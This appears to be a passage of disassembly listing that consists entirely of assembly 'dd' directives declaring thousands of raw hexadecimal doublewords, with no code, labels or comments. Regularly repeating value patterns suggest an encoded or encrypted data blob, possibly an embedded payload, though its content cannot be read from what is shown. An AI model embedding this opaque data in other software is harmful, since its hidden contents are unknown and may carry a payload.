		dd 52565DB1h, 54A711BEh, 53F6A208h, 0B559728Ah,	3256D580h
		dd 325A0349h, 0C20475B1h, 0A7A2F12h, 48475714h,	0F4D5213Bh
		dd 8DBFABB5h, 0DBA9544Fh, 3256D5A1h, 3A1F78C8h,	0FC508B77h
		dd 0E22A8CA0h, 6255AAAFh, 3D99954Dh, 32560735h,	33DEA4B1h
		dd 0C756D5B1h, 14E75738h, 3ABF73A3h, 6B56BAB1h,	3AECF3C4h
		dd 0DBD49230h, 325657B7h, 52F7F382h, 5BBF6181h,	3DA9154Fh
		dd 32565533h, 21BEDAB1h, 7E565DB1h, 0B5F896BEh,	4EC364CDh
		dd 21357E08h, 0D8202A37h, 8A0F66CFh, 43F79D9Ah,	0C7AADBD0h
		dd 3D36A472h, 3256A33Eh, 0BA5937B1h, 3256ABB1h,	989B420Bh
		dd 32BE8BEDh, 685675B1h, 0ACEF5030h, 52365BA9h,	0B19F2FD7h
		dd 533737FBh, 79B92AD7h, 37BFB42Bh, 9456EAB1h, 97582D9Bh
		dd 5EEC3144h, 0CB504530h, 3257AE08h, 0BB5937B1h, 3256ABB5h
		dd 0F5956FD7h, 9DA46BD7h, 0F2651497h, 32DFB5D1h, 3D565DB1h
		dd 3256BD34h, 3258BEB1h, 6817ABB1h, 0BC0211A7h,	0A15E26EEh
		dd 68FBCA9Ah, 0CBFD49D0h, 5ED4D644h, 0CA50B630h, 0B324D538h
		dd 53AFADA9h, 3D361644h, 3256E83Bh, 3DADFEB1h, 5237450Eh
		dd 3256B548h, 0B30CAEB1h, 2AC9135Bh, 0BC5952B7h, 3256D5BBh
		dd 3256EF58h, 593558B1h, 0B7902425h, 34444870h,	0B3E52E7h
		dd 528248DCh, 0B26A4130h, 0B906B18Fh, 0CD37B567h, 20677404h
		dd 2ADBB5B7h, 52565DB1h, 3256BE59h, 0C8A198B1h,	487D7B5Eh
		dd 0E5D235BDh, 67C77794h, 0BF372A4Bh, 27D4C034h, 0B8593DB7h
		dd 3256AEB7h, 9021A730h, 0D9E9DCC8h, 53108BA2h,	0DB861549h
		dd 325675BDh, 6AE628C7h, 0FAD52D45h, 18251A8Bh,	0DB06AFE3h
		dd 3256ABA2h, 0F09B7619h, 6DB96593h, 0BED8B6D6h, 73B27F57h
		dd 5AC4C4EEh, 32562EB1h, 0D3D731D1h, 0DB06AAF4h, 3256D5A2h
		dd 0A6CDB4B6h, 0E773EA3Fh, 46C44876h, 0F84C37C2h, 69DF8677h
		dd 3247BED0h, 7282ABB1h, 72E30D4Fh, 0E1ED5578h,	0FD4F255h
		dd 583B8002h, 0EBD63DB1h, 37DCA173h, 545657B1h,	84776D30h
		dd 8BE42AD0h, 0DB50F2CFh, 325675BAh, 0E095B1A2h, 0A6639313h
		dd 0CD7CBB41h, 3258BE61h, 0BE4EABB1h, 84889FF9h, 0C3599193h
		dd 0AED1FB5Dh, 3FBF43E9h, 48565DB1h, 0C645573Ah, 208B2A7Ch
		dd 7436CCC7h, 323E2CEBh, 3D56EA31h, 32567334h, 0E1DDDAB1h
		dd 583707E6h, 80A956B1h, 344ED6DDh, 3256B858h, 0F423B4B1h
		dd 63CCB830h, 9E71C4C2h, 64D1C24Ch, 6778CAE7h, 0B1597E4Eh
		dd 325657B4h, 0F2E9A4D1h, 0DA36B4D0h, 3256EABFh, 0D7C8C579h
		dd 3820E5C9h, 0FCE25AB5h, 530E1FE6h, 3245BE72h,	0DA43ABB1h
		dd 0A50B7609h, 84AF1E2Eh, 3C2A616Ah, 0A8D78410h, 3FDF525Fh
		dd 0DB56AEB1h, 325657B9h, 0B93FD085h, 0EA3DF237h, 324403E4h
		dd 122775B1h, 6A6B63C8h, 206EEE4Ah, 69369C32h, 2C66FD08h
		dd 8736473Ah, 5236B47Eh, 325563BEh, 0B93075B1h,	36ECDC60h
		dd 0BD593C15h, 3256AEBCh, 32D358D1h, 8A56ABB1h,	62F9E950h
		dd 325602D0h, 0B30C75B1h, 2AF7825Bh, 0DBAE3DB7h, 3256AEBCh
		dd 1E48E083h, 0CA818ACAh, 0CD9E7BC2h, 0B9A38BA9h, 0B3367DC4h
		dd 0B616D971h, 1BE93BE6h, 3EBECFA6h, 525657A1h,	19C2AD7h
		dd 0DCECB5ABh, 5305B8AFh
		dd 0CDAE20D0h, 2A299523h, 3245B4B7h, 0ED00AEB1h, 7B9CE823h
		dd 0DDFB19E1h, 5355037Ch, 1D191B01h, 0F0DD1578h, 530F4FE6h
		dd 476DA8ECh, 89D3A1BDh, 52A9A84Eh, 53A120D7h, 32591759h
		dd 3D3716B1h, 32567D3Fh, 30DAB5B1h, 52565DB1h, 3DAE67D0h
		dd 3256563Dh, 3A945EB1h, 3CD7DAB1h, 5256EAB1h, 3256F8BEh
		dd 0E0D7BAB1h, 216A3F68h, 0BC59FBD0h, 325657A1h, 3256A058h
		dd 60007EB1h, 0FF027378h, 0D421176Ch, 0C9E9B5D1h, 0CADD3BE0h
		dd 0DEDDCFEEh, 325AD4BEh, 35BFABB1h, 0B956D5B1h, 31CB2500h
		dd 0DB36A3C7h, 3256BABEh, 0AF086CFAh, 0C89BCEDh, 4C2CBA86h
		dd 8CEFC72Dh, 7F24F9BCh, 0CE9269D0h, 324AF4BEh,	3D36BAB1h
		dd 32565D3Ah, 325947B1h, 856057B1h, 0D6920DF3h,	0F576EAD7h
		dd 424DAAE6h, 520014F1h, 54A131D7h, 96A6BC30h, 3D36F9D0h
		dd 34BF960Eh, 4856ABB1h, 93F9556Bh, 0CA058B3Ch,	32567559h
		dd 0D8D7E0B1h, 344EFFCAh, 53A125D1h, 32564758h,	0C2DEF1B1h
		dd 2EC85CC8h, 4F6A40ECh, 2CD18587h, 3A2331CDh, 53360BD1h
		dd 0EDDDC8E8h, 222BDCD0h, 3256B958h, 0F5110BB1h, 0C602F025h
		dd 0F699972Dh, 0E916ADCEh, 6519293Fh, 34D9A1D1h, 3D5657B1h
		dd 3256AB3Ch, 26DCDAB1h, 0DB56EAB1h, 325675BEh,	3A45370Ch
		dd 0C59D8CD1h, 0AFEDDF97h, 53C31366h, 3256AD58h, 82084FB1h
		dd 64E00E65h, 32567F58h, 0FBFFE4B1h, 0F00E63F7h, 0DA7C2BCEh
		dd 325656EDh, 3D96A04Dh, 32567835h, 325E03B1h, 0EED875B1h
		dd 0B8664CD6h, 0CADD1E7Ch, 37BFFB44h, 985657B1h, 0B0918EF0h
		dd 4D79474Eh, 0B659ECA9h, 325675B6h, 32573BBEh,	6FAE5DB1h
		dd 3256BE58h, 0EC9176B1h, 25DC958h, 1D07ABF8h, 945D624Ah
		dd 3E234EC2h, 32363EBEh, 3D365DB1h, 3256A835h, 32DD58B1h
		dd 5456ABB1h, 0B21E1530h, 2CDD8CD0h, 32459CD1h,	8F0CBAB1h
		dd 0EB337D1Ch, 3A337720h, 0FCBD1083h, 2E480C6Dh, 34D2DA6Ch
		dd 3D56EAB1h, 32567530h, 0D5D6DBB1h, 2CDCA841h,	0C2B52E44h
		dd 14D7BF44h, 3D36ABB1h, 0DB370F0Eh, 0CDA915BAh, 0E4D61544h
		dd 0C2DCECDCh, 4FDF3CE8h, 0DA01CE4Dh, 325657B7h, 13426502h
		dd 6808C40Bh, 325663BEh, 0DA3775B1h, 0CDA94C05h, 32565058h
		dd 18DC09B1h, 15B493E5h, 0F1DACAB6h, 520DA2ECh,	7C7C1109h
		dd 39BF1493h, 0E056BAB1h, 0BD2BEA96h, 0EAA5BAC1h, 3D09D7A1h
		dd 3256AA3Dh, 0DB082CB1h, 3256EAA0h, 922D388Ch,	8AED6C84h
		dd 0DE4870Dh, 0C0DCF12Dh, 3DD55826h, 0DB56ABB1h, 3256D5BBh
		dd 0F1449243h, 412C153Ah, 77DD3E21h, 33D2524Dh,	0CE56AEB1h
		dd 27D65878h, 0DB56ABB1h, 3256D5A1h, 0CE1922AFh, 9DC1D8DBh
		dd 267B09EFh, 0B7CEAFh,	0CB56A273h, 34BE37E4h, 0E456ABB1h
		dd 0BFFD863Eh, 0ECDD8CF0h, 2B75CEE8h, 0B93798D0h, 0F6D5A15Dh
		dd 0B159CE49h, 325657B3h, 19E0F3E2h, 0B33682D0h, 96E37D46h
		dd 0B23614AAh, 0B3301942h, 53810D62h, 63A356E7h, 32565C58h
		dd 110D59B1h, 0BF40E051h, 8BA8694Fh, 325E9CD1h,	830EBAB1h
		dd 4A21E92Fh, 21BFAE10h, 635657B1h, 8D3A4FEh, 1327597Eh
		dd 0D01A29DCh, 0CB846DAEh, 61371945h, 32564E58h, 7DADAAB1h
		dd 40B8D338h, 0DE246DF5h, 0B5333BB0h, 0BF637B4Ch, 325BF2BEh
		dd 3ABFBAB1h, 61565DB1h, 81A2276Eh, 0F575AD72h,	325653F4h
		dd 37BFD5B1h, 6756EAB1h, 3C2FAA32h, 0B2E53876h,	32575BA9h
		dd 0DBAEAEB1h, 325657A1h, 4F890CE2h, 4EF47D96h,	550851ADh
		dd 0E073FFA9h, 525ECF3Ah, 325AB5E0h, 0A0AAAEB1h, 49EB275Fh
		dd 6B38A001h, 6D0D2BEBh, 325261BEh, 8C3075B1h, 5437AA0Ch
		dd 0B9AE433Ah, 2A28170Bh, 0B90637B7h, 0B937F277h, 0B859DDEEh
		dd 3256EAB9h, 3254FFBEh, 5336BAB1h, 0B65986BAh,	3256AEDBh
		dd 0CAAF37D1h, 328F2AD0h, 531CB65Eh, 0B759348Ah, 3256759Bh
		dd 3256A958h, 12164BB1h, 0B56044CFh, 0D5361905h, 4737855Ah
		dd 0A8045477h, 0CE5AB73Ah, 0DB5A2A38h, 3256BAB7h, 1FA7A33Ah
		dd 0F5D5BB0Bh, 3246BEA5h, 0A9E6ABB1h, 0F6471947h, 0DEF070F8h
		dd 2D378D64h, 0BEBFD330h, 0DBA9A24Eh, 3256AEBBh, 2E645013h
		dd 0A8BF0D20h, 0B9302D77h, 325E03AFh, 55B875B1h, 44355819h
		dd 0C9D6BEC7h, 29D2A159h, 0CA5657B5h, 3DBF5031h, 3252C435h
		dd 3ADAE5B1h, 3D5675B1h, 3256B83Fh, 0B2373DB1h,	0B659454Ah
		dd 3256544Bh, 3256B858h, 0AEA670B1h, 208101AFh,	5A10AE89h
		dd 6774BA51h, 539F57BCh, 3DB45531h, 3255FF35h, 0DBAACBB1h
		dd 3256D5A0h, 0EFA36D9Ch, 2C53272Bh, 0C0311223h, 0B4CD3DC3h
		dd 0C9D6CF06h, 0DD25852h, 5256ABB2h, 8D8E62BEh,	27B0FA6Dh
		dd 33DB7AD0h, 0C756BAB1h, 55ADDCD7h, 58D2A152h,	525657B2h
		dd 8BAC20D7h, 3AC5E8CFh, 0C2B16AD0h, 0C9D71349h, 0B6593ABEh
		dd 32565E33h, 0C2B52E4Dh, 32564358h, 520742B1h,	36362031h
		dd 6CA93414h, 7B2DCB2h,	0E0BF1453h, 42ADDD91h, 310A2ABEh
		dd 0BF5957B1h, 3256ABA4h, 3256C558h, 817933B1h,	0D3304B9Dh
		dd 0B3200E3Eh, 55B8AED3h, 2CDDC819h, 0CAB5D749h, 3256AE58h
		dd 0AFEFA1B1h, 0BE594BECh, 325675B2h, 0B2374FD1h, 0B659E54Ah
		dd 3256AF73h, 1811EED1h, 23BFBCBCh, 0EC56D5B1h,	4FD05BE1h
		dd 31FB839h, 2965E07Dh,	68B10494h, 37682ED0h, 33CAD3BEh
		dd 37BFABB1h, 9256D5B1h, 0A6D6D3D1h, 0E9E97AD1h, 538F31D7h
		dd 3D7B6331h, 32572F35h, 38BF37B1h, 0BF56ABB1h,	4D86F67Ah
		dd 0DD89A332h, 0B459149Eh, 3256BAB0h, 5A68DD48h, 33362ABEh
		dd 543657B1h, 0E1FA6930h, 81D42AD0h, 3D50F231h,	32567F34h
		dd 6C07DAB1h, 3256DBBEh, 5437AEB1h, 0B959493Ah,	3256AB99h
		dd 32513DD1h, 7D52EAB1h, 9151BCC9h, 21BEE413h, 7A565DB1h
		dd 6881AD7Dh, 528BBCFDh, 211C2CEDh, 98FCAEEEh, 53084972h
		dd 0CBAE9231h, 0B3AD3BD7h, 31D25259h, 0CB56AEB0h, 2CDD314Dh
		dd 0C2B12B4Dh, 32465CBEh, 39BFEAB1h, 0EE5675B1h, 662C192Eh
		dd 0BD683AA5h, 0B330359Ah, 3D96D64Ah, 32567235h, 32453CB1h
		dd 9A57EAB1h, 34CA0D3Dh, 8274DFDh, 6C2F52A2h, 2B07FE4h
		dd 8936372Bh, 3E2C1EFh,	325453BEh, 0EADCEAB1h, 38BF20D0h
		dd 0F756BAB1h, 0A3D8F3F0h, 9842F791h, 2AD358BCh, 0DB56ABB1h
		dd 3256D5A2h, 756F9BA5h, 0FA41D09h, 62A96A12h, 0E4C6E819h
		dd 0CD22CD59h, 2A297823h, 0B7EFCBB7h, 0DB0C41B1h, 3256EAB6h
		dd 0D1198018h, 5326A6B2h, 3246B4ECh, 0C92BAEB1h, 62BE2A97h
		dd 744D956Ah, 0AA378E19h, 77DF1817h, 3D368C4Dh,	3256B83Dh
		dd 0DB373DB1h, 3256AEB4h, 7573965Ah, 5237CAE5h,	32503DD1h
		dd 5A65EAB1h, 0F1F31656h, 538830EFh, 0CE2BDED0h, 4ED3A1B0h
		dd 525657B3h, 0B18F2AD7h, 325A3D73h, 0EF59EAB1h, 7F26AB8Dh
		dd 7F61A421h, 0E1D700CCh, 49BE8B4Eh, 88DD36E8h,	34448178h
		dd 32505ABEh, 5436EAB1h, 53FA2D0Eh, 3DA3EA49h, 32564A39h
		dd 324447B1h, 0E07557B1h, 0DDDBEA73h, 0AE66CD9Ch, 9276E8EFh
		dd 0DA43EB91h, 0B2E5383Ah, 0BAE5BA9h, 0CB369E8Dh, 0B0590FD0h
		dd 3256A9A6h, 32443CD1h, 4182EAB1h, 5C44507Bh, 0C10E7F73h
		dd 6E1975EDh, 6B4BDA95h, 0D379E8D7h, 23EC20D0h,	0CB50C7ABh
		dd 2BDBE5E1h, 0DB5675B1h, 3256BAA5h, 4A66A929h,	0E253AA71h
		dd 3F6FD0D0h, 0E8A10497h, 0C7C3B7AAh, 0B2E5683Ah, 0BAF73A9h
		dd 54368A8Dh, 1EA6BC30h, 0BD59F6D0h, 3256560Ah,	3BD4A444h
		dd 5256D5B1h, 40571D30h
		dd 53AE159Ah, 32561F58h, 26BF3DB1h, 6F56AEB1h, 0B40FD5FAh
		dd 635422E4h, 0E18FA27Ah, 1CBA7B33h, 0DB7EA0EDh, 3256BABCh
		dd 71326CE0h, 600D8D75h, 0B3ECE6ADh, 7791CA4Fh,	3256D749h
		dd 3FBE8AB1h, 0F85675B1h, 0F4B4278Dh, 4B322A41h, 0A8A99424h
		dd 32564358h, 0B3BCD0B1h, 7326D73Fh, 476DA282h,	0C2DFB6E9h
		dd 62B475C1h, 35BF0324h, 8956AEB1h, 0AF4CB855h,	0DB37B7D1h
		dd 3256D583h, 0CA132D49h, 325675B0h, 325C53D1h,	0C4FF5DB1h
		dd 35533B83h, 99A461DEh, 3256BB59h, 0BE77FBB1h,	2B32FDB2h
		dd 941551Eh, 0AA807A2Bh, 0CADD3BB4h, 88DDCFEEh,	344E2908h
		dd 32572ABEh, 0B9A3D5B1h, 8A308AAEh, 3CBE87B6h,	0A556BAB1h
		dd 5847478Ah, 0EAB99C51h, 446DE47Dh, 32D0A42Fh,	6C56D5B1h
		dd 3D8DE1D0h, 3256BF35h, 6905DAB1h, 32564C58h, 0A5FE0CB1h
		dd 0DFE024B1h, 7557DC32h, 0DC30E081h, 937714Dh,	5DD37A6Fh
		dd 3D56BAB1h, 32565C30h, 20BF5BB1h, 745657B1h, 57501C1Bh
		dd 40E7B1DEh, 4CAD1F0Ch, 3EB446A2h, 3E0B31D9h, 0CA2BDE4Dh
		dd 0DD2A1B1h, 0DB5657B1h, 3256ABB8h, 2D9DEC5Ch,	2E6FAEFAh
		dd 0CA0B7677h, 324F31BEh, 26BF5DB1h, 0A056AEB1h, 7C4D91FEh
		dd 51CE3FECh, 4719C255h, 16C559F5h, 0DB2D808Ch,	3256BABBh
		dd 26BAEAA1h, 9C3BB4AEh, 6DDF0513h, 0F5D55EB5h,	3ED1DAA5h
		dd 0DB56EAB1h, 325675B6h, 0EE8C1464h, 0DB3D7D42h, 0CDA9519Ah
		dd 3D966444h, 3256AF30h, 6A07B5B1h, 376303D0h, 3ABF75B1h
		dd 2F56BAB1h, 9899952Fh, 548A41C7h, 3EBF493Ah, 0CB56ABB1h
		dd 4ABFB196h, 638B88E2h, 0B900263Dh, 0DB36B6CCh, 32565DB7h
		dd 46F41E6Dh, 85595272h, 0C9D6CA47h, 58D2DA5Ah,	3D56EAB1h
		dd 3256743Fh, 0DB3646B1h, 32565DBFh, 14CA36F6h,	0CE5554A9h
		dd 98021B6Fh, 0B859367Ch, 3256EAB3h, 0B2378C3Bh, 0B2AF4A52h
		dd 0B6592D4Ah, 3256AE6Dh, 32565858h, 7FCB02B1h,	85BD06Ah
		dd 0E1416236h, 491FC71h, 32573758h, 35DD52B1h, 3D56AEB1h
		dd 32565636h, 3CBF53B1h, 0B456D5B1h, 67EB78F4h,	322D988Fh
		dd 5CC74EC6h, 0DB519B76h, 32572DBEh, 0F5A357B1h, 3256AAF6h
		dd 3DBFD5B1h, 6356EAB1h, 0BCBDF242h, 0E4023675h, 0FEC39EB5h
		dd 0BF5950CFh, 325657B6h, 32572DBEh, 0B9A3D5B1h, 32460376h
		dd 4A2375B1h, 0DF3316FEh, 49E2FFC1h, 1F5DEB58h,	0F2D5D98Dh
		dd 3ED4A4B4h, 3D56D5B1h, 3256EC30h, 32D77AB1h, 0DB56BAB1h
		dd 3256599Ah, 324547D1h, 0C08857B1h, 99E2F932h,	0BC250DADh
		dd 351FD14Dh, 94169992h, 6D05DA1Bh, 0ED908009h,	3D37CFF2h
		dd 32564030h, 39BFCBB1h, 4B56D5B1h, 27513126h, 239BB546h
		dd 15EC470Ah, 531953ACh, 3D5169D7h, 3247BEB9h, 0AD7EABB1h
		dd 8F35EAAEh, 0E920D48Dh, 0DBAC5465h, 0B8B34B17h, 21BF3DAFh
		dd 0F56AEB1h, 4DCCBF96h, 67CBAADCh, 0E6ECB7AFh,	0F9B42A97h
		dd 0B5596CDFh, 3256BABFh, 32565458h, 0D418ACB1h, 9E42DC96h
		dd 0B2374549h, 5336DA52h, 3DD62131h, 32567232h,	33DAB5B1h
		dd 0CB565DB1h, 0DB57F139h, 325657B6h, 0D5461E99h, 0F517D3EAh
		dd 3256E8F6h, 34BF75B1h, 256BAB1h, 0E5B27ECEh, 3D912534h
		dd 32564234h, 324642B1h, 43A5D5B1h, 9D32B7EFh, 893CEF34h
		dd 0D5B72ADh, 0F2D522B0h, 0CE36CEB7h, 0D7FAE9D7h, 98CA11D0h
		dd 0CA37BF60h, 3255DC58h, 32469CB1h, 0F382BAB1h, 3EC5A6C9h
		dd 0C73CDA1Ah, 0DB106D73h, 0B33099CBh, 3DC6458Fh, 32569835h
		dd 325E9CB1h, 8F6CBAB1h, 1000A6FCh, 0CD65DEAh, 0BAD35821h
		dd 0DB56ABB1h, 3256D5A0h, 0B9D27E88h, 852CA922h, 6480BCE7h
		dd 90D8BCA6h, 4CD7C8C3h, 3DC6C74Eh, 32569135h, 0F6D6B5B1h
		dd 0EFEE8C89h, 0B15914B1h, 3256BAA8h, 32564958h, 0C06620B1h
		dd 8FA7B964h, 7CB9B303h, 0C2224C18h, 4451CC84h,	326F9C73h
		dd 0B259BAB1h, 32565DB6h, 325723BEh, 0B9AA57B1h, 32424276h
		dd 0DC22D5B1h, 557400D3h, 0A0D4AFDDh, 43B6895h,	156B5351h
		dd 0B6BF3459h, 0DB5657B3h, 3256ABB6h, 55D17A87h, 0BF4B208Ah
		dd 2AD7D433h, 8C05DAB7h, 4F5A0FE6h, 325946E9h, 739157B1h
		dd 0E05844E9h, 0E771F5EEh, 0F1168570h, 325E9C40h, 0B4D9BAB1h
		dd 0D3FDDA82h, 530C98EBh, 0DB00AEE1h, 3256ABB6h, 0C5620A59h
		dd 0CD5FDE78h, 2A293E23h, 0F25D46B7h, 321FD9BEh, 0B9AEAEB1h
		dd 27D15879h, 0DB56ABB1h, 3256D5A1h, 75D3F0F6h,	6D4C5445h
		dd 9997C3C9h, 1BCA8C7Ah, 0B3F71C3Ch, 0BD5951A9h, 3256ABB9h
		dd 0F2E9DAD1h, 531E0E31h, 3256E558h, 325B53B1h,	0A8405DB1h
		dd 179F76Ch, 3BA2B8EFh,	64136D40h, 0BA5985D1h, 3256EAB1h
		dd 4922CCE9h, 0B937C9E2h, 3245B47Fh, 0D9D9AEB1h, 5706C5E7h
		dd 52DEC178h, 421A4CE0h, 82A8021Ah, 32519C85h, 0F10DBAB1h
		dd 35F2E153h, 0B459FBA5h, 325657BDh, 32502BBEh,	0BE59D5B1h
		dd 3256EAB1h, 4D79E74Eh, 0B059BCA9h, 32565DB6h,	325723BEh
		dd 3DAE57B1h, 3256AA38h, 0DB0B20B1h, 3256EAB4h,	65DDDD67h
		dd 0C79891D5h, 0B2368446h, 8D30BA70h, 6C3750A0h, 0CA2B2844h
		dd 0A1D3DAB0h, 5256EAB1h, 7981F549h, 3ED6B5D0h,	3D565DB1h
		dd 3256A83Ch, 32DA58B1h, 8256ABB1h, 3ED9DAF8h, 0DB56EAB1h
		dd 325675B6h, 184A07B2h, 0CA016EE7h, 8A30571Bh,	0BC59D2BEh
		dd 3256ABB6h, 32575ABEh, 54AEEAB1h, 325E9C1Ah, 2814BAB1h
		dd 39632203h, 0B959FA0Ch, 325657A8h, 324742D1h,	0B504D5B1h
		dd 0DD021961h, 616B973Bh, 503D3BA0h, 0C7B7B3B4h, 74E0A1D0h
		dd 3258BEB0h, 220DABB1h, 0ACCF369Ch, 0A44E89DDh, 0EB79EA89h
		dd 0F0E9DA1Ah, 533A6395h, 32560058h, 4FD5ABB1h,	0B759A949h
		dd 3256D53Dh, 32436ABEh, 22BF75B1h, 756BAB1h, 0F6B730EEh
		dd 4C11E1A8h, 0B8614276h, 3D1AAAEBh, 3256D239h,	68058AB1h
		dd 53A5FED7h, 0FB5D02D7h, 32565858h, 0F54EB4B1h, 9930C0AEh
		dd 58ECCB44h, 0B85C4BF9h, 8A308B7Ah, 35BFF1BEh,	9E56BAB1h
		dd 1176E6AFh, 99302AA6h, 74E05849h, 325342B0h, 5DE5D5B1h
		dd 99DF44F3h, 32567858h, 207CBAB1h, 0D70E7A5Ch,	0B6FEE7C3h
		dd 0DBAA276Eh, 3256AB96h, 31D9DAD1h, 0B256EAB1h, 0B330DB79h
		dd 53F7FD61h, 5436F942h, 827A5F30h, 5398B531h, 3D8620D1h
		dd 3256D43Eh, 0B9371FB1h, 32479C76h, 53A1BAB1h,	196C842Dh
		dd 564D2A15h, 0B72C0D2Ch, 69E65D56h, 3256D858h,	0E9DF36B1h
		dd 0F5C511F0h, 55CCFAE1h, 520F2725h, 32552ABEh,	0F2D657B1h
		dd 0F8DDCD1Ah, 0DB368BD0h, 3256EAB7h, 7335563Dh, 6D37FA6Dh
		dd 3251D7BEh, 6236AEB1h, 0EADD31E9h, 324542D0h,	8BC6D5B1h
		dd 362DBB0h, 1AF06B40h,	4FB77E58h, 0F612F5B8h, 0B85967E3h
		dd 325657BDh, 325023BEh, 0B359D5B1h, 3256EAB1h,	0DB567D73h
		dd 3256BAA2h, 17A3821Eh, 7B96BC2h, 0EE5CE94Ah, 6A1297F2h
		dd 67266A69h, 324503D1h, 0D29975B1h, 0E32C7490h, 23CBF82Ch
		dd 0DE98951Ah, 922D1A8Ch, 53882184h, 3256C458h,	68438AB1h
		dd 48A36733h, 2A549C07h, 91BB8BEEh, 0DEDDD9F1h,	3257D3BEh
		dd 52AEABB1h, 32563D48h, 0B30CEAB1h, 2AE7615Bh,	0B4594FB7h
		dd 32565DBFh, 32DCA1D1h, 0B35657B1h, 0FB92665Eh, 77DDB4DCh
		dd 0B0DF13B9h, 344E0AB7h, 3EBFDB48h, 1F565DB1h,	0F26622D1h
		dd 31DC91BDh, 0FBAD1C84h, 32465ABEh, 39BFEAB1h,	285675B1h
		dd 0DD47A3AFh, 4B396DF0h, 3694794Fh, 0BA5937B1h, 3256ABB1h
		dd 325653BEh, 6737EAB1h
		dd 3DCEC7D1h, 3256BF31h, 0DDD73BB1h, 0B937005Bh, 0F6D5AF5Dh
		dd 21D5A449h, 5256D5B1h, 38BF323Ah, 95675B1h, 4FCB2381h
		dd 0E6915ADCh, 52A3CF4Ch, 5486DCD1h, 5326860Fh,	3256D559h
		dd 0D8D7B0B1h, 344EC402h, 324F39BEh, 26BF5DB1h,	0C056AEB1h
		dd 12CAC55Bh, 15ED98CBh, 0D9E529F7h, 0CF66F5FBh, 3D39A665h
		dd 3256A237h, 3245B4B1h, 0E088AEB1h, 0B59B51FEh, 2B11BBE4h
		dd 0F6C36C9h, 0B6FBB30Ah, 0CA13B2F3h, 3256BAB1h, 0CE139A44h
		dd 3256AEB1h, 32565858h, 0A4B51FB1h, 6588D8D0h,	0CA8A7370h
		dd 7B106F8Fh, 54AA7A82h, 0C7AF433Ah, 0B2E52C76h, 325751A9h
		dd 5436ABB1h, 0B2E94B0Fh, 54374874h, 0A2C68E30h, 32573FBEh
		dd 0B2AE5DB1h, 0B659464Ah, 32565316h, 325127BEh, 0BD59D5B1h
		dd 3256EAB0h, 0CAA3354Dh, 3DBF4131h, 3252D335h,	33DEA1B1h
		dd 0CB5657B1h, 25D7A4F1h, 0DB56D5B1h, 3256EAA3h, 0AD175166h
		dd 75BF074Fh, 0D654E759h, 57F59A5h, 0C9D6D45Fh,	52D2A45Ah
		dd 5256D5B5h, 32556ABEh, 0D7D675B1h, 22D5B550h,	0DB565DB1h
		dd 3256AEBAh, 93D9432Dh, 3E1B9F5Ch, 5375CFECh, 0D5D613F1h
		dd 3ED07A41h, 3D56BAB1h, 32565B34h, 32D2A1B1h, 545657B1h
		dd 0B2595030h, 364B51BEh, 38BFEAB1h, 475675B1h,	0B8287A03h
		dd 0F06C71Ah, 8BD4ADF8h, 52504599h, 325422BEh, 5336D5B1h
		dd 0B2AAAAD0h, 0B659974Ah, 3256B95Ah, 325ADEBEh, 35BFAEB1h
		dd 5B5657B1h, 0DD88BE0Dh, 0C9D62BC5h, 97D2E552h, 0DB5675B2h
		dd 3256BAA5h, 34FA474Dh, 0B169D16Dh, 503FE738h,	0EE45AA3Ah
		dd 82B3B34Bh, 55AD6BD7h, 9ED27A52h, 0DB56BAB2h,	32565DA3h
		dd 17A5E1B4h, 5E15DB50h, 0A1CCEF27h, 0E10C390Ch, 20BF21A4h
		dd 225675B1h, 0C5C686BEh, 23620C64h, 9048BBCDh,	0F09CA913h
		dd 0C2B52BB8h, 0B99E5ED1h, 0B1598B4Ah, 325675ABh, 324553D1h
		dd 8AF05DB1h, 3CD385F0h, 0B515C2B9h, 0A04D818Ah, 745E1C92h
		dd 0C9D68B7Eh, 66D27AC1h, 0DB56BAB2h, 32565DBDh, 4EE07E15h
		dd 0D8D678E1h, 962565E9h, 0CB485ED7h, 0C7AE0931h, 3DEE8E31h
		dd 32570335h, 3ADA52B1h, 3D56AEB1h, 32565539h, 0B237CBB1h
		dd 0B659D08Fh, 3256EB13h, 1F68F54Dh, 33CE3EBEh,	0B2AE5DB1h
		dd 0B659C68Fh, 3256563Fh, 324E24BEh, 0DB36D5B1h, 3256EABDh
		dd 43FD24h, 897DD543h, 13C2D9CEh, 42852FD7h, 521636DAh
		dd 4BB02AD7h, 54B85510h, 3BD0E5D0h, 525675B1h, 96BE3BD7h
		dd 53D4EB61h, 0B2E52C4Eh, 22BF51A9h, 6F56ABB1h,	7D86466Eh
		dd 3643A825h, 0BE2FB889h, 545FCD4Ah, 22BF433Ah,	3056AEB1h
		dd 0C9AA997Ah, 7B0B5EB6h, 0FF8D0090h, 0B277323Bh, 35BF8D56h
		dd 0EB56BAB1h, 0BC5F06A1h, 0B330948Bh, 3DBED64Ah, 3257A235h
		dd 2FD1DAB1h, 3D56EAB1h, 3256623Ch, 324453B1h, 1C045DB1h
		dd 69CFE85Bh, 0FB4D40B1h, 0CA729B41h, 0E4C40107h, 3256EF58h
		dd 4F5A18B1h, 0B9306377h, 3247B4AFh, 0BD29AEB1h, 387B16D3h
		dd 9E493D58h, 9E82ED64h, 0B295FD09h, 3D368556h,	3256B831h
		dd 0DB373DB1h, 3256AEB4h, 400AAA59h, 3D36CA0Bh,	3256D53Fh
		dd 0EDE1E5B1h, 0C9D713D0h, 0B6597A30h, 32565D27h, 53B724D1h
		dd 0DB3637D1h, 3256ABBCh, 72F1170h, 119D6754h, 7BD50A61h
		dd 32D8B56Eh, 53565DB1h, 325425BEh, 533657B1h, 325A42D0h
		dd 12AD5B1h, 0E7EF9624h, 0CDD066D2h, 3D0350C7h,	32565A33h
		dd 33D2A1B1h, 0C75657B1h, 4D79394Eh, 6FAED3A9h,	325C6FBEh
		dd 37BF75B1h, 2A56BAB1h, 0A83827CCh, 52AAEB38h,	0CE68290Bh
		dd 0E8E1A4A6h, 52372DD0h, 0A3E23F05h, 0CE2BF6D0h, 20D3B5B0h
		dd 52565DB7h, 3CBF9704h, 335657B1h, 8A5B4870h, 0EFCA10BFh
		dd 0E7AA7ACAh, 88DD14F9h, 34449078h, 3242B4D1h,	9637AEB1h
		dd 93D2ADBBh, 0C30F8C65h, 3FD57607h, 39B03069h,	52068B25h
		dd 6237E4D0h, 32564C58h, 1D7C29B1h, 2BE9A04Bh, 57C766F1h
		dd 1C7E6001h, 0B0DDF071h, 344EF502h, 26A8348h, 0BD590AD1h
		dd 3256AEB1h, 6A37AEEEh, 37F529BEh, 0B9AFD5B1h,	204CFB0Bh
		dd 3D068DB7h, 3256B630h, 34DB52B1h, 3D56AEB1h, 3256573Eh
